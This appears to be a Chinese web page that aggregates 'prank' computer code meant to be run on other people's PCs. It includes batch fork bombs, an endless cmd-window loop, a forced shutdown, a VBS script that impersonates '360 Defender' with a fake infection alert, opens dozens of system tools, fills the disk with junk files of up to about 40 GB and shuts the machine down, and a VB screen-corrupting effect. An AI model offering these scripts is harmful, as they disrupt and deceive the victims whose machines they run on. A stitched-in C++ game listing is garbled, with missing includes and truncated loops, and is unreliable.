电脑恶搞代码？代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？那么，电脑恶搞代码？一起来了解一下吧。
如果你感到无聊，看看下面的吧。整人的东东… 如果你想恶搞别人一下,在记事本中输入如下内容： @echo off start cmd.exe %02 . @echo off:arundll32 desk.cpl, DisplayTestSettingsW goto a 运行后会黑屏！ 3.shutdown -s -t 60 60秒倒计时关机！ 4.%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0 崩溃！ 5.下面的另存为a.bat @echo off Start a.bat dir c: /s /a
求采纳
大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30G空间）【具体在代码中】
仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革厂倒闭了.mp3》请准备好放在D:\
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。
一个打飞机的游戏，DEVc++编译通过：
#include
#include
#include
#include
#include
#define zlx 10//增量坐标(x)让游戏框不靠边
#define zly 3//增量坐标(y)让游戏框不靠边
#define W 26//游戏框的宽度
#define H 24//游戏框的高度
int jiem[22][22]={0}, wj=10;//界面数组, 我机位置(初值为10)
int speed=4,density=30, score=0,death=0; //敌机速度, 敌机密度, 玩家成绩,死亡次数
int m=0,n=0;// m,n是控制敌机的变量
void gtxy (int x, int y)//控制光标位置的函数
{ COORD zb;//zb代指坐标
zb.X = x; zb.Y = y;
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );
}
voidColor(inta) //设定颜色的函数(a应为1-15)
{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }
void yinc(int x=1,int y=0)//隐藏光标的函数
{ CONSOLE_CURSOR_INFO gb={x,y}; //gb代指光标, y设为0即隐藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);
}
void csh( ) //初始化函数
{ int i;
Color(7);
gtxy(zlx,zly); printf("╔"); gtxy(zlx+W-2,zly); printf("╗"); //左上角和右上角的框角
gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下边两框角
for(i=2;i for(i=2;i for(i=1;i for(i=1;i Color(14); gtxy(19,2); printf("歼灭敌机"); Color(10); gtxy(37,5); printf("设置：Esc "); gtxy(37,7); printf("发射：↑ "); gtxy(37,9); printf("控制：← → "); gtxy(37,11);printf("得分：%d",score); gtxy(37,13); printf("死亡：%d",death); yinc(1,0); } void qcjm( ) //清除界面函数 { int i,j; for(i=0;i for(j=0;j } void feiji( ) //飞机移动函数 { int i,j; for(i=21;i>=0;i--) //从底行往上是为了避免敌机直接冲出数组 for(j=0;j<22;j++) {if(i==21&&jiem[i][j]==3)jiem[i][j]=0; //底行赋值0 以免越界 if(jiem[i][j]==3)jiem[i][j]=0, jiem[i+1][j]=3; } if(jiem[20][wj]==3&&jiem[21][wj]==1) death++; } void zidan( ) //子弹移动函数 { int i,j; for(i=0;i<22;i++) for(j=0;j<22;j++) { if(i==0&&jiem[i][j]==2) jiem[i][j]=0; if(jiem[i][j]==2) {if(jiem[i-1][j]==3) score+=100,printf("\7"); jiem[i][j]=0,jiem[i-1][j]=2; } } } void print( ) //输出界面函数 {int i,j; qcjm( ); for(i=0;i<22;i++) for(j=0;j<22;j++) { gtxy(12+j,4+i); if(jiem[i][j]==3) {Color(13);printf("□");} if(jiem[i][j]==2) {Color(10);printf(".");} if(jiem[i][j]==1) {Color(10);printf("■");} } gtxy(37,11); Color(10); printf("得分：%d",score); gtxy(37,13); printf("死亡：%d",death); } void setting( ) //游戏设置函数 { qcjm( ); gtxy(12,4);printf("选择敌机速度:"); gtxy(12,5);printf(" 1.快 2.中 3.慢>>"); switch(getche( )) {case '1': speed=2; break; case '2': speed=4; break; case '3': speed=5; break; default: gtxy(12,6);printf(" 错误！默认值"); } gtxy(12,7);printf("选择敌机密度:"); gtxy(12,8);printf(" 1.大 2.中 3.小>>"); switch(getche( )) {case '1': density=20; break; case '2': density=30;break; case '3': density=40; break; default: gtxy(12,9); printf(" 错误！默认值"); } for(int i=0;i<22;i++) for(int j=0;j<22;j++) jiem[i][j]=0; jiem[21][wj=10]=1; jiem[0][5]=3; gtxy(12,10); printf(" 按任意键保存..."); getch( ); qcjm( ); } void run( ) //游戏运行函数 { jiem[21][wj]=1; //值为1代表我机(2则为子弹) jiem[0][5]=3; //值为3代表敌机 SetConsoleTitle("歼灭敌机"); //设置窗口标题 while(1) {if (kbhit( ))//如有键按下，控制我机左右移动、发射或进行设定 { int key; if((key=getch( ))==224) key=getch( ); switch(key) {case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1; break; case 77: if(wj<20)jiem[21][wj]=0,jiem[21][++wj]=1;break; case 72: jiem[20][wj]=2; break; case 27: setting( ); } } if(++n%density==0)//控制产生敌机的速度 { n=0;srand((unsigned)time(NULL)); jiem[0][rand( )%20+1]=3; } if(++m%speed==0) { feiji( ); m=0; } //控制敌机移动速度(相对子弹而言) zidan( );//子弹移动 print( );//输出界面 Sleep(120);//延时120毫秒 } } int main( ) { csh( ); run( ); return 0; } 电脑桌面融化，这段代码真的很强悍 ！居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function GetDesktopWindow Lib "user32" () As Long Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source Dim x As Integer, y As Integer Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long) Private Sub Form_Load() Me.Hide Desktop = GetWindowDC(GetDesktopWindow()) hBitmap = CreateCompatibleDC(Desktop) hScreen = CreateCompatibleDC(Desktop) Buffer = CreateCompatibleBitmap(Desktop, 32, 32) ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15) SelectObject hBitmap, Buffer SelectObject hScreen, ScreenBuffer BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY For i = 0 To 1E+17 y = (Screen.Height / 15) * Rnd x = (Screen.Width / 15) * Rnd BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY DoEvents Next i End Sub 还有个杀手锏；一段要人命的vb代码 -----------------------------------------------声明--------------------------------------------------------------- ’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。 横线开始 ______________________________________________________ ：start start cmd goto start ______________________________________________________ :和start间没有空格 这个代码可以打开无数个cmd窗口，唯一的解决方法是：重启 以上就是电脑恶搞代码的全部内容，如果你想恶搞别人一下,在记事本中输入如下内容： @echo off start cmd.exe %0 2 . @echo off :a rundll32 desk.cpl, DisplayTestSettingsW goto a 运行后会黑屏！ 3.shutdown -s -t 60 60秒倒计时关机！。
恶搞代码怎么编写
简单的恶搞编程代码
